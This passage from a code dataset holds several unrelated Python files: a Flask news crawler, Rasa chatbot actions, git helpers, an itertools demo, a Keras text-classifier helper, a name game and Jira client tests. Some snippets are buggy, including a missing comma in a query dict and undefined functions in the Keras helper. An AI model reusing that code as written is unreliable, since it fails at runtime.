print(new_soup.body.get_text().replace('\\n', ''))\n        # [e[0] for e in emailregex.findall(new_soup.body.get_text())]\n        emailadd.append([e[0] for e in emailregex.findall(new_soup.body.get_text())])\n\n    #for i in list(temp)\n    lists = [[i, j] for i, j in zip(news_title, emailadd)]    \n    return render_template('check_author.html',\n                          theme = 'regex test',\n                          lists = lists)\n#                         news_title = news_title,\n#                         email_add = emailadd)\n\n@app.route('/submit', methods = ['GET', 'POST'])\ndef news_redirect():\n    if 'id' not in session:\n        return 'You Must LOGIN for Using Service'\n    print(request.form['word'])\n    return redirect(f\"/crawler/news/{request.form['word']}\") #f = variable formatting\n                          \n                           \n                           \n'''\n#강사님 Style    \n\n    for tag in news_headers_raw:\n        \n        requests.get(tag['href']))       \n        new_soup = BeautifulSoup(driver.page_source, 'html.parser')\n\n\n#regex\n    \n \n\n\n#code for finding text header\n\n    for i in range(len(news_headers_raw)):\n        news_headers.append(news_headers_raw[i].text)\n    \n    print(dir(news_headers_raw[0]))\n    print(news_headers_raw[0].text, len(news_headers_raw))\n\n'''\n@app.route('/submitauthor', methods = ['GET', 'POST'])\ndef news_redirect_author():\n    if 'id' not in session:\n        return 'You Must LOGIN for Using Service'\n    print(request.form['word'])\n    return redirect(f\"/crawler/news_author/{request.form['word']}\") #f = variable formatting\n\n\n\n###Selenium, Requests 활용 Crawling and BeautifulSoup을 활용한 Parsing\n@app.route('/crawler/news/<word>', methods = ['GET', 'POST'])\ndef crawler_word(word):\n    \n    if 'id' not in session:\n        return 'You Must LOGIN for Using Service'\n    \n    url = f\"https://search.naver.com/search.naver\"\n    query = {\n        \"where\": \"news\",\n        \"ie\" \"utf8\"\n        \"sm\": \"nws_hty\",\n        \"query\": word\n    }\n    res = requests.get(url)\n\n    driver = webdriver.Chrome('chromedriver')\n    driver.implicitly_wait(3)\n    driver.get(url)\n    driver.page_source\n    \n    response = requests.get(url, params=query)\n    soup = BeautifulSoup(response.content, 'html.parser')\n    news_headers_raw = soup.select('ul.type01 li dl dt a') #list\n    news_headers =[]\n    \n    for i in range(len(news_headers_raw)):\n        news_headers.append(str(news_headers_raw[i]['title']))\n    \n    #print(news_headers_raw[0]['title'])\n\n    return render_template('crawler.html',\n                           theme = 'Selenium, Request, BeautifulSoup 활용 Crawling',\n                           newsheader = news_headers)    \n    \napp.run(port=1234)","sub_path":"workshop02/ws2.py","file_name":"ws2.py","file_ext":"py","file_size_in_byte":8976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"574694571","text":"import sys\nimport os\n\nimport constvars\nimport testdata.datavars as datavars\n\nsys.path.append(os.path.abspath(os.path.dirname(__file__) + '/' + '..'))\nfrom commonfunc import get_timestamp_by_time\n\ntime_format = constvars.recorddate + '000001'\ntimestamp = long(get_timestamp_by_time(time_format)[:-3])\n\ndef makeexpecteddata(hour=-1):\n\n    with open(os.path.abspath(os.path.dirname(__file__)) + '/../testdata/FileOnDemandCleaned.txt', 'r') as resultfile:\n        orglines = resultfile.readlines()\n\n    resultlist={}\n    peeridlist={}\n    with open(os.path.abspath(os.path.dirname(__file__)) + \"/../inputdata/%s.txt\"%__name__.split('.')[-1],\"w\") as expectedfile:\n        for line in orglines:\n            _,peerid,timesp,_,_,publicip,_,_,_= line.split(',')\n            for i in range(24):\n                if (timestamp + 3600*(i+1)) > long(timesp[:-3]) >= (timestamp + 3600*i):\n                    if i not in peeridlist:\n                        peeridlist[i] = {}\n                    if i not in resultlist:\n                        resultlist[i] = {}\n                    province = datavars.ip2isp[publicip].split(',')[0]\n                    if province not in peeridlist[i]:\n                        peeridlist[i][province] = []\n                    if peerid not in peeridlist[i][province]:\n                        userno = peerid[:8]\n                        username = datavars.name_list[userno]\n                        if province not in resultlist[i]:\n                            resultlist[i][province] = {}\n                        if username not in resultlist[i][province]:\n                            resultlist[i][province][username] = 1\n                        else:\n                            resultlist[i][province][username] += 1\n                    peeridlist[i][province].append(peerid)\n                    break\n\n        if hour > -1:\n            for pro, value in resultlist[hour].items():\n                totalcount = 0\n                for username, count in value.items():\n                    totalcount += count\n                    expectedfile.write(\"%s,%s,%d\\n\" % (pro, username, count))\n                expectedfile.write(\"%s,%s,%d\\n\" % (pro, 'all', totalcount))\n        else:\n            pass\n\n    return os.path.abspath(os.path.dirname(__file__)) + \"/../inputdata/%s.txt\"%__name__.split('.')[-1]\n\n\n\n\n\n","sub_path":"lib/platform/dataprocess/logicmodule/CurrentOnlineProvinceDistribute.py","file_name":"CurrentOnlineProvinceDistribute.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"299575508","text":"import json\nfrom typing import Any, Text, Dict, List\n\n\nfrom rasa_sdk import Action, Tracker\nfrom rasa_sdk.executor import CollectingDispatcher\nfrom rasa_sdk.knowledge_base.storage import InMemoryKnowledgeBase\nfrom rasa_sdk.knowledge_base.actions import ActionQueryKnowledgeBase\n\n\nclass ActionCheckExistence(Action):\n    with open(\"data/knowledge_base.json\") as f:\n        knowledge_base = json.load(f)\n\n    def name(self) -> Text:\n        return \"action_check_existence\"\n\n    def run(self, \n            dispatcher: CollectingDispatcher,\n            tracker: Tracker,\n            domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n        for objs in tracker.latest_message['entities']:\n            if objs['entity'] == 'name':\n                obj = objs['value']\n                for each in self.knowledge_base['restaurant']:\n                    if each['name'] == obj:\n                        dispatcher.utter_message(text=f\"{each['name']} have cuisine of {each['cuisine']}\")\n                break\n        else:\n            dispatcher.utter_message(text=f\"What information do you need?\")\n        return []\n        \n\"\"\"class ActionShowList(ActionQueryKnowledgeBase):\n    def __init__(self):\n        # load knowledge base with data from the given file\n        knowledge_base = InMemoryKnowledgeBase(\"data/knowledge_base.json\")\n\n        # overwrite the representation function of the restaurant object\n        # by default the representation function is just the name of the object\n        knowledge_base.set_representation_function_of_object(\n            \"restaurant\", lambda obj: obj[\"name\"] + \" (\" + obj[\"cuisine\"] + \")\" + \" (\" + obj[\"price-range\"] + \").\"\n        )\n\n        super().__init__(knowledge_base)\"\"\"","sub_path":"actions/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"627421500","text":"__all__ = [\n    \"GGB_IBY\"\n  , \"CommitDesc\"\n  , \"iter_chunks\"\n  , \"git_diff2delta_intervals\"\n  , \"fast_repo_clone\"\n]\n\nfrom collections import (\n    namedtuple\n)\nfrom re import (\n    compile\n)\nfrom .intervalmap import (\n    intervalmap\n)\nfrom tempfile import (\n    mkdtemp\n)\nfrom os.path import (\n    join\n)\n\n\n# Iterations Between Yields of Git Graph Building task\nGGB_IBY = 100\n\n# Unified Diff Format:\n# https://www.artima.com/weblogs/viewpost.jsp?thread=164293\nRange = namedtuple(\"Range\", \"lineno count\")\n# 'old' - range removed from previous version of file\n# 'new' - range added to new version of file\nChunk = namedtuple(\"Chunk\", \"old new\")\n\nre_chunks = compile(b\"@@ -(\\d+)(?:,?(\\d*)) \\+(\\d+)(?:,?(\\d*)) @@\")\n\n\ndef iter_chunks(diff):\n    for chunk in re_chunks.findall(diff):\n        c_lineno, c_count, b_lineno, b_count = chunk\n        yield Chunk(\n            # empty '*_count' is equivalent to '*_count' == 1\n            Range(int(c_lineno), int(c_count) if c_count != b'' else 1),\n            Range(int(b_lineno), int(b_count) if b_count != b'' else 1)\n        )\n\n\ndef git_diff2delta_intervals(diff):\n    \"\"\"\n:param diff:\n    is 'git diff' information between current version of file and base version\n    of file\n:returns:\n    the line-to-delta intervalmap built from `diff`\n\n    \"\"\"\n    intervals = intervalmap()\n    lineno = 1\n    delta = 0\n\n    for chunk in iter_chunks(diff):\n        # diff is reversive, i.e. how to get the base version from a current.\n        curr_range = chunk.old\n        base_range = chunk.new\n\n        # `inclusive`: 0 - exclude `lineno` from current interval\n        #              1 - include `lineno` in current interval\n        #\n        # `gap_size` - the size of gap between the current and next intervals\n        #\n        if base_range.count:\n            # add a gap including `lineno`\n            inclusive, gap_size = 0, base_range.count\n        else:\n            # include `lineno` in `intervals`\n            inclusive, gap_size = 1, 1\n\n        # current interval\n        intervals[lineno: base_range.lineno + inclusive] = delta\n\n        # calculate the left boundary for the next interval\n        lineno = base_range.lineno + gap_size\n        # calculate the delta for the next interval\n        delta += curr_range.count - base_range.count\n\n    # default interval if diff is empty and last interval otherwise\n    intervals[lineno: None] = delta\n\n    return intervals\n\n\nclass CommitDesc(object):\n    def __init__(self, sha, parents, children):\n        self.sha = sha\n        self.parents = parents\n        self.children = children\n\n        # serial number according to the topological sorting\n        self.num = None\n\n    @classmethod\n    def co_build_git_graph(klass, repo, commit_desc_nodes):\n        # iterations to yield\n        i2y = GGB_IBY\n\n        # n is serial number according to the topology sorting\n        n = 0\n        # to_enum is used during topological sorting\n        # it contains commit to enumerate\n        to_enum = None\n        # build_stack contains edges represented by tuples\n        # (parent, child), where parent is instance of\n        # git.Commit, child is instance of QemuCommitDesc\n        build_stack = []\n        for head in repo.references:\n            # skip processed heads\n            if head.commit.hexsha in commit_desc_nodes:\n                continue\n\n            head_desc = klass(head.commit.hexsha, [], [])\n            commit_desc_nodes[head.commit.hexsha] = head_desc\n            # add edges connected to head being processed\n            for p in head.commit.parents:\n                build_stack.append((p, head_desc))\n\n            while build_stack:\n                parent, child_commit_desc = build_stack.pop()\n\n                try:\n                    parent_desc = commit_desc_nodes[parent.hexsha]\n                except KeyError:\n                    parent_desc = klass(parent.hexsha, [], [])\n                    commit_desc_nodes[parent.hexsha] = parent_desc\n\n                    if parent.parents:\n                        for p in parent.parents:\n                            build_stack.append((p, parent_desc))\n                    else:\n                        # current edge parent is an elder commit in the tree,\n                        # that is why we should enumerate starting from it\n                        to_enum = parent_desc\n                else:\n                    # the existence of parent_desc means that parent has been\n                    # enumerated before. Hence, we starts enumeration from\n                    # it's child\n                    to_enum = child_commit_desc\n                finally:\n                    parent_desc.children.append(child_commit_desc)\n                    child_commit_desc.parents.append(parent_desc)\n\n                if i2y <= 0:\n                    yield True\n                    i2y = GGB_IBY\n                else:\n                    i2y -= 1\n\n                # numbering is performed from the 'to_enum' to either a leaf\n                # commit or a commit just before a merge which have at least\n                # one parent without number (except the commit)\n                while to_enum is not None:\n                    e = to_enum\n                    to_enum = None\n                    # if the number of parents in the commit_desc_nodes\n                    # is equal to the number of parents in the repo,\n                    # then all parents were numbered (added) earlier\n                    # according to the graph building algorithm,\n                    # else we cannot assign number to the commit yet\n                    if len(e.parents) == len(repo.commit(e.sha).parents):\n                        e.num = n\n                        n = n + 1\n                        # according to the algorithm, only one child\n                        # have no number. Other children either have\n                        # been enumerated already or are not added yet\n                        for c in e.children:\n                            if c.num is None:\n                                to_enum = c\n                                break\n\n                    if i2y <= 0:\n                        yield True\n                        i2y = GGB_IBY\n                    else:\n                        i2y -= 1\n\n\ndef fast_repo_clone(repo, version = None, prefix = \"repo\"):\n    \"\"\" Creates Git repository clone with working copy in temporal directory\nas fast as possible. A clone is neither honest nor independent, so be careful.\n    \"\"\"\n    if version is None:\n        version = repo.head.commit.hexsha\n    else:\n        version = repo.commit(version).hexsha\n\n    tmp_wc = mkdtemp(prefix = \"%s-%s-\" % (prefix, version))\n\n    # Current approach uses \"-s\" (--shared) option to avoid copying\n    # of history and \"-n\" (--no-checkout) to avoid redundant checking\n    # out of repo's HEAD in the new clone. Requested version is checked out\n    # explicitly. Therefore, overhead of cloning is low enough.\n    new_repo = repo.clone(tmp_wc, no_checkout = True, shared = True)\n\n    git = new_repo.git\n\n    git.checkout(version, force = True)\n\n    # Submodules also must be recursively initialized. But straightforward\n    # invocation of of \"update --init\" command will result in downloading of\n    # submodules history. Instead, submodules URLs are redirected to local\n    # history copies inside original repo. As a result, submodules\n    # initialization is done without redundant copying.\n    # However! \".gitmodules\" file is considered changed by Git because of that\n    # redirection.\n\n    # TODO: it must be done for submodules of submodules too (recursively).\n\n    # This works incorrect with `recursive = True` because \"--recursive\" is\n    # added before \"status\"\n    status = git.submodule(\"status\", \"--recursive\")\n\n    submodules = []\n    for l in status.splitlines(False):\n        submodules.append(l.split(' ')[1])\n\n    if submodules:\n        for sm in submodules:\n            # https://stackoverflow.com/a/30675130/7623015\n            git.config(\n                \"submodule.\" + sm + \".url\",\n                join(repo.working_tree_dir, \".git\", \"modules\", sm),\n                file = \".gitmodules\"\n            )\n\n        git.submodule(\"update\", \"--init\", \"--recursive\")\n\n    return new_repo\n","sub_path":"common/git_tools.py","file_name":"git_tools.py","file_ext":"py","file_size_in_byte":8240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"449903375","text":"'''\n操作迭代对象\n'''\nimport itertools\n\n# 无线的自然数迭代\nnatuals = itertools.count(1)\n# for n in natuals:\n#     print(n)\n\n# cycle \n# cycle()会把传入的一个序列无限重复下去：\nc = itertools.cycle('ABC')\n# for cc in c:\n#     print(cc)\n\n# repeat 负责把一个元素无线重复下去，不过如果提供第二个参数就可以限定重复次数\nre = itertools.repeat('abc',10)\nfor r in re:\n    print(r)\n\n# takewhile\n# 无限序列虽然可以无限迭代下去，但是通常我们会通过takewhile()等函数根据条件判断来截取出一个有限的序列\nnatuals = itertools.count()\nns = itertools.takewhile(lambda x: x < 10,natuals)\n# for mm in ns:\n#     print(mm)\nprint(list(ns))\n\n# chain \n# 把一组迭代对象串联起来，形成更大的迭代器\nfor c in  itertools.chain('CBA','NBA'):\n    print(c)\n\n# groupby \n# 把迭代器中相邻的重复元素挑出来放在一起：\nfor gb,group in itertools.groupby('aaavvdd22aa   '):\n    print(gb,list(group))\n","sub_path":"build_in_module/itertools_test.py","file_name":"itertools_test.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"323724778","text":"import string\nfrom keras.preprocessing.sequence import pad_sequences\nimport pandas as pd\nimport numpy as np\nimport os\nimport re\nfrom datetime import date\nfrom fastnumbers import isfloat, isint\nimport tensorflow as tf\nfrom keras.models import Sequential, load_model\nfrom keras.layers import Embedding\nfrom keras.layers import BatchNormalization, SpatialDropout1D, Conv1D, Dense, Dropout, GlobalMaxPooling1D\nfrom keras.callbacks import ModelCheckpoint, TensorBoard, EarlyStopping\nfrom keras.utils import to_categorical\n\nDIR_TRAIN = '../../data'\ndir_models = '../../models'\n\nMAPPINGS = {\n    'career': 0,\n    'theory_and_practice': 1,\n    'deep_learning': 2,\n    'lang_python': 3,\n    '_meetings': 4,\n    'kaggle_crackers': 5,\n    'big_data': 6,\n    'lang_r': 7,\n    'nlp': 8,\n    'welcome': 9,\n    'datasets': 10,\n    'bayesian': 11\n}\n\n# parameters initialization\nVALIDATION_SPLIT = 0.1\nRANDOM_SEED = 42\n\n# initialize dictionary size and maximum sentence length\nMAX_SEQUENCE_LENGTH = 150\n\nRUS_ALPHABET = ['а','б','в','г','д','е','ё','ж','з','и','й','к','л','м','н','о','п','р','с','т','у','ф','х','ц','ч','ш','щ','ъ','ы','ь','э','ю','я']\n\ndef create_vocab_set():\n    alphabet = (RUS_ALPHABET + list(string.ascii_lowercase) + list(string.digits) + list(string.punctuation) + [' ', '\\n'])\n    vocab_size = len(alphabet)\n    vocab = {}\n    for ix, t in enumerate(alphabet):\n        vocab[t] = ix+1\n    return vocab, vocab_size\n\ndef text2sequence(text, vocab):\n    temp = []\n    for review in text:\n        temp.append([])\n        for i in review:\n            char = vocab.get(i,0)\n            if char != 0:\n                temp[-1].append(char)\n    return temp\n\n\ndef load_data_for_nn():\n    data = pd.read_csv(os.path.join(DIR_TRAIN, 'train_set.csv'), usecols=range(1, 11),\n                       parse_dates=['timestamp', 'thread_timestamp'])\n    data = data[\n        data.channel.isin(['career', 'big_data', 'deep_learning', 'kaggle_crackers',\n                           'lang_python', 'lang_r', 'nlp', 'theory_and_practice', 'welcome', 'bayesian', '_meetings',\n                           'datasets']) &\n        data.main_msg\n        ]\n\n    # data_train = data.\n    date_before = date(2017, 4, 1)\n    train = data[data['timestamp'] <= date_before]\n    val = data[data['timestamp'] > date_before]\n\n    train_data = train[['channel', 'text']].reset_index()[['channel', 'text']]\n    train_data['channel'] = train_data.channel.map(MAPPINGS)\n    train_data = train_data.sort_values('channel').reset_index()[['channel', 'text']]\n\n    val_data = val[['channel', 'text']].reset_index()[['channel', 'text']]\n    val_data['channel'] = val_data.channel.map(MAPPINGS)\n    val_data = val_data.sort_values('channel').reset_index()[['channel', 'text']]\n\n    train_data.text = train_data.text.astype(str) \\\n        .apply(lambda x: re.sub('(<\\S+>:?)|(\\s?:\\S+:\\s?)|(&gt;)|([\\w\\.]*@[\\w\\.]*)', ' ', x)) \\\n        .apply(lambda x: re.sub('\\s+', ' ', x))\n    train_data = train_data[~train_data.text.apply(lambda x: isfloat(x) or isint(x) or len(x) < 20)]\n\n    val_data.text = val_data.text.astype(str) \\\n        .apply(lambda x: re.sub('(<\\S+>:?)|(\\s?:\\S+:\\s?)|(&gt;)|([\\w\\.]*@[\\w\\.]*)', ' ', x)) \\\n        .apply(lambda x: re.sub('\\s+', ' ', x))\n    val_data = val_data[~val_data.text.apply(lambda x: isfloat(x) or isint(x) or len(x) < 20)]\n\n    train_text = train_data['text'].astype(str).apply(lambda x: x.lower())\n    train_labels = np.asarray(train_data['channel'], dtype='int8')\n\n    val_text = val_data['text'].astype(str).apply(lambda x: x.lower())\n    val_labels = np.asarray(val_data['channel'], dtype='int8')\n\n    vocab, vocab_size = create_vocab_set()\n\n    X_train = text2sequence(train_text, vocab)\n    X_val = text2sequence(val_text, vocab)\n\n    X_train = pad_sequences(X_train, maxlen=MAX_SEQUENCE_LENGTH, value=0)\n    X_val = pad_sequences(X_val, maxlen=MAX_SEQUENCE_LENGTH, value=0)\n\n    train_labels = to_categorical(train_labels, num_classes=12)\n    val_labels = to_categorical(val_labels, num_classes=12)\n\n    return X_train, train_labels, X_val, val_labels\n\ndef transform(tokenizer_object, train, test):\n    sequences_train = tokenizer_object.texts_to_sequences(train)  # transform words to its indexes\n    sequences_test = tokenizer_object.texts_to_sequences(test)\n\n    word_indexes = tokenizer_object.word_index  # dictionary of word:index\n\n    # transform a list to numpy array with shape (nb_samples, MAX_SEQUENCE_LENGTH)\n    # be careful because it takes only last MAX_SEQUENCE_LENGTH words\n    train = pad_sequences(sequences_train, maxlen=MAX_SEQUENCE_LENGTH)\n    test = pad_sequences(sequences_test, maxlen=MAX_SEQUENCE_LENGTH)\n\n    return train, test, word_indexes\n\ndef train_model_lstm_channel_classification():\n    data_train, labels_train, data_test, labels_test = load_data()\n    print(len(data_train), len(data_test))\n    tokenizer = Tokenizer(num_words=MAX_NB_WORDS, filters='\"#$%&()*+-/:;<=>@[\\\\]^{|}~\\t\\n,.')\n    tokenizer.fit_on_texts(data_train)\n\n    X_train, X_test, word_index = transform(tokenizer, data_train, data_test)\n    y_train, y_test = to_categorical(np.asarray(labels_train), num_classes=12), to_categorical(np.asarray(labels_test), num_classes=12)\n\n    embedding_matrix = prepare_embeddings(word_index)\n\n    # инициализируем слой эмбеддингов\n    NAME = \"lstm_channel_classification\"\n\n    # callbacks initialization\n    # automatic generation of learning curves\n    callback_1 = TensorBoard(log_dir='./logs/logs_{}'.format(NAME), histogram_freq=0,\n                             write_graph=False, write_images=False)\n    # stop training model if accuracy does not increase more than five epochs\n    callback_2 = EarlyStopping(monitor='val_acc', min_delta=0, patience=5, verbose=0, mode='auto')\n    # best model saving\n    callback_3 = ModelCheckpoint(\"../models/model_{}.hdf5\".format(NAME), monitor='val_acc',\n                                 save_best_only=True, verbose=0)\n\n    embedding_layer = Embedding(embedding_matrix.shape[0],\n                                embedding_matrix.shape[1],\n                                weights=[embedding_matrix],\n                                input_length=MAX_SEQUENCE_LENGTH,\n                                trainable=False,\n                                mask_zero=True)\n\n    model = Sequential()\n    model.add(embedding_layer)\n    model.add(Dropout(0.2))\n    model.add(Bidirectional(LSTM(200, dropout=0.1, recurrent_dropout=0.1)))\n    model.add(Dropout(0.2))\n    model.add(Dense(12))\n    model.add(Activation('softmax'))\n\n    model.compile(loss='categorical_crossentropy',\n                  optimizer='adam',\n                  metrics=['accuracy'])\n\n    model.summary()\n    model.fit(X_train, y_train, validation_data=[X_test, y_test],\n              batch_size=1024, epochs=100, callbacks=[callback_1, callback_2, callback_3])\n    return model\n\ndef load_model_nn(name):\n    model = load_model(name)\n    model.compile(loss='categorical_crossentropy',\n              optimizer='adam',\n              metrics=['accuracy'])\n    model.summary()\n    return model","sub_path":"projects/p02/notebooks/helpers/nn_helper.py","file_name":"nn_helper.py","file_ext":"py","file_size_in_byte":7091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"310004734","text":"from collections import Counter, deque\nfrom functools import reduce\n\nfrom itertools import cycle, islice, dropwhile\n\nresultDict=dict(F='Friend',L='Lover',A='Affection',M='Marraige',E='Enemy',S='Sibling')\n\nfirstName='lol'\nsecondName='lmao'\n\nnonMatchedLetters=\"\".join(reduce(Counter.__add__,map(lambda x:x-reduce(Counter.__and__,map(Counter,map(lambda x:x.replace(' ','').casefold(),[firstName,secondName]))),map(Counter,map(lambda x:x.replace(' ','').casefold(),[firstName,secondName])))).elements())\n\ncycleFlame=cycle('FLAMES')\nlistFlame=list('FLAMES')\n\ntotalWords=len(nonMatchedLetters)\nchars=6\n\n\nwhile chars>1:\n\ttoRemove=deque(islice(cycleFlame,totalWords),maxlen=1).pop()\n\tnextStart=next(cycleFlame)\n\tlistFlame.pop(listFlame.index(toRemove))\n\tcycleFlame=dropwhile(lambda x:x!=nextStart,cycle(listFlame))\n\tchars-=1\n\nprint(resultDict[listFlame[0]])\n","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"187495829","text":"'''\nTests for the Jira API class in main.py\n\nUnlike other tests, these access the class directly, not via the mock_jira interface defined in\nconftest.py\n'''\nfrom unittest import mock\n\nimport pytest\n\nfrom fixtures import EPIC_1, ISSUE_1, ISSUE_2, ISSUE_MISSING_EPIC, ISSUE_NEW\nfrom jira_offline.exceptions import (EpicNotFound, EstimateFieldUnavailable, FailedAuthError,\n                                     JiraApiError, JiraNotConfigured, ProjectDoesntExist)\nfrom jira_offline.models import CustomFields, Issue, IssueType, ProjectMeta\n\n\n@mock.patch('jira_offline.jira.jsonlines')\n@mock.patch('jira_offline.jira.os')\n@mock.patch('builtins.open')\ndef test_jira__load_issues__calls_deserialize_for_each_line_in_cache(mock_open, mock_os, mock_jsonlines, mock_jira_core):\n    '''\n    Ensure load_issues calls Issue.deserialize for each line in the cache file\n    '''\n    # issues cache is present, and non-zero in size\n    mock_os.path.exists.return_value = True\n    mock_os.stat.return_value.st_size = 1\n\n    # mock contents of issue cache, as read from disk\n    mock_jsonlines.Reader.return_value.iter.return_value = [EPIC_1, ISSUE_1, ISSUE_MISSING_EPIC]\n\n    with mock.patch('jira_offline.jira.Issue.deserialize') as mock_issue_deserialize:\n        mock_jira_core.load_issues()\n        assert mock_issue_deserialize.call_count == 3\n\n\n@mock.patch('jira_offline.jira.jsonlines')\n@mock.patch('builtins.open')\ndef test_jira__write_issues__calls_write_all(mock_open, mock_jsonlines, mock_jira_core):\n    '''\n    Ensure write_issues calls jsonlines.write_all. If this test is failing it indicates a bug in the\n    write_issues() method.\n    '''\n    mock_jira_core['TEST-1'] = Issue.deserialize(EPIC_1)\n\n    mock_jira_core.write_issues()\n\n    assert mock_jsonlines.Writer.return_value.write_all.called\n\n\n@mock.patch('jira_offline.jira.jsonlines')\n@mock.patch('builtins.open')\ndef test_jira__write_issues__calls_serialize_for_each_item_in_self(mock_open, mock_jsonlines, mock_jira_core):\n    '''\n    Ensure write_issues calls Issue.serialize for each line in self (which implements dict)\n    '''\n    mock_jira_core['TEST-1'] = Issue.deserialize(EPIC_1)\n    mock_jira_core['TEST-71'] = Issue.deserialize(ISSUE_1)\n    mock_jira_core['TEST-72'] = Issue.deserialize(ISSUE_MISSING_EPIC)\n\n    with mock.patch('jira_offline.jira.Issue.serialize') as mock_issue_serialize:\n        mock_jira_core.write_issues()\n        assert mock_issue_serialize.call_count == 3\n\n\n@mock.patch('jira_offline.jira.jsonlines')\n@mock.patch('builtins.open')\ndef test_jira__write_issues__calls_issue_diff_for_existing_issues_only(mock_open, mock_jsonlines, mock_jira_core):\n    '''\n    Ensure write_issues calls Issue.serialize for each line in self (which implements dict)\n    '''\n    mock_jira_core['TEST-71'] = Issue.deserialize(ISSUE_1)\n    mock_jira_core[ISSUE_NEW['key']] = Issue.deserialize(ISSUE_NEW)\n\n    with mock.patch('jira_offline.jira.Issue.diff'):\n        mock_jira_core.write_issues()\n\n        assert mock_jira_core['TEST-71'].diff.called\n        assert mock_jira_core[ISSUE_NEW['key']].diff.called\n\n\n@mock.patch('jira_offline.jira.api_get')\ndef test_jira__get_project_meta__extracts_priorities(mock_api_get, mock_jira_core, project):\n    '''\n    Ensure get_project_meta() method extracts project priorities from a project\n    '''\n    # mock out call to _get_project_issue_statuses and _get_project_components\n    mock_jira_core._get_project_issue_statuses = mock.Mock()\n    mock_jira_core._get_project_components = mock.Mock()\n\n    # mock return from Jira createmeta API call\n    mock_api_get.return_value = {\n        'projects': [{\n            'id': '56120',\n            'key': 'EGG',\n            'name': 'Project EGG',\n            'issuetypes': [{\n                'id': '5',\n                'name': 'Story',\n                'fields': {\n                    'priority': {\n                        'name': 'priority',\n                        'allowedValues': [{'name': 'Egg'}, {'name': 'Bacon'}],\n                    },\n                },\n            }]\n        }]\n    }\n\n    mock_jira_core.get_project_meta(project)\n\n    assert mock_api_get.called\n    assert project.priorities == {'Bacon', 'Egg'}\n\n\n@mock.patch('jira_offline.jira.api_get')\ndef test_jira__get_project_meta__extracts_issuetypes(mock_api_get, mock_jira_core, project):\n    '''\n    Ensure get_project_meta() method parses the issuetypes for a project\n    '''\n    # mock out call to _get_project_issue_statuses and _get_project_components\n    mock_jira_core._get_project_issue_statuses = mock.Mock()\n    mock_jira_core._get_project_components = mock.Mock()\n\n    # mock return from Jira createmeta API call\n    mock_api_get.return_value = {\n        'projects': [{\n            'id': '56120',\n            'key': 'EGG',\n            'name': 'Project EGG',\n            'issuetypes': [{\n                'id': '5',\n                'name': 'Story',\n                'fields': {\n                    'summary': {'name': 'Summary'},\n                },\n            },{\n                'id': '18500',\n                'name': 'Custom_IssueType',\n                'fields': {\n                    'summary': {\n                        'name': 'Summary'\n                    },\n                    'customfield_10104': {\n                        'schema': {\n                            'customId': 10104\n                        },\n                        'name': 'Story Points',\n                    },\n                },\n            }]\n        }]\n    }\n\n    mock_jira_core.get_project_meta(project)\n\n    assert mock_api_get.called\n    assert project.issuetypes == {\n        'Story': IssueType(name='Story'),\n        'Custom_IssueType': IssueType(name='Custom_IssueType')\n    }\n\n\n@mock.patch('jira_offline.jira.api_get')\ndef test_jira__get_project_meta__handles_removal_of_issuetype(mock_api_get, mock_jira_core, project):\n    '''\n    Ensure get_project_meta() method handles when an issuetype is removed from a project on Jira\n\n    The project fixture includes the Story issuetype, this should be removed if not in the API result\n    '''\n    # mock out call to _get_project_issue_statuses and _get_project_components\n    mock_jira_core._get_project_issue_statuses = mock.Mock()\n    mock_jira_core._get_project_components = mock.Mock()\n\n    # mock return from Jira createmeta API call\n    mock_api_get.return_value = {\n        'projects': [{\n            'id': '56120',\n            'key': 'EGG',\n            'name': 'Project EGG',\n            'issuetypes': [{\n                'id': '5',\n                'name': 'Epic',\n                'fields': {\n                    'summary': {'name': 'Summary'},\n                },\n            }]\n        }]\n    }\n\n    mock_jira_core.get_project_meta(project)\n\n    assert mock_api_get.called\n    assert project.issuetypes == {\n        'Epic': IssueType(name='Epic')\n    }\n\n\n@mock.patch('jira_offline.jira.api_get')\ndef test_jira__get_project_meta__extracts_custom_fields(mock_api_get, mock_jira_core, project):\n    '''\n    Ensure get_project_meta() method parses the custom_fields for a project\n    '''\n    # mock out call to _get_project_issue_statuses and _get_project_components\n    mock_jira_core._get_project_issue_statuses = mock.Mock()\n    mock_jira_core._get_project_components = mock.Mock()\n\n    # mock return from Jira createmeta API call\n    mock_api_get.return_value = {\n        'projects': [{\n            'id': '56120',\n            'key': 'EGG',\n            'name': 'Project EGG',\n            'issuetypes': [{\n                'self': 'https://example.com/rest/api/2/issuetype/5',\n                'id': '5',\n                'name': 'Epic',\n                'fields': {\n                    'summary': {\n                        'name': 'Summary'\n                    },\n                    'customfield_10104': {\n                        'schema': {\n                            'customId': 10104\n                        },\n                        'name': 'Epic Name',\n                    },\n                    'customfield_10106': {\n                        'schema': {\n                            'customId': 10106\n                        },\n                        'name': 'Story Points',\n                    },\n                },\n            }]\n        }]\n    }\n\n    mock_jira_core.get_project_meta(project)\n\n    assert mock_api_get.called\n    assert project.custom_fields == CustomFields(epic_name='10104', estimate='10106')\n\n\n@mock.patch('jira_offline.jira.api_get')\ndef test_jira__get_project_meta__handles_no_priority_for_issuetype(mock_api_get, mock_jira_core, project):\n    '''\n    Ensure get_project_meta() method doesn't choke if an issuetype has no priority field\n    '''\n    # mock out call to _get_project_issue_statuses and _get_project_components\n    mock_jira_core._get_project_issue_statuses = mock.Mock()\n    mock_jira_core._get_project_components = mock.Mock()\n\n    # mock return from Jira createmeta API call\n    mock_api_get.return_value = {\n        'projects': [{\n            'id': '56120',\n            'key': 'EGG',\n            'name': 'Project EGG',\n            'issuetypes': [{\n                'self': 'https://example.com/rest/api/2/issuetype/5',\n                'id': '5',\n                'name': 'Epic',\n                'fields': 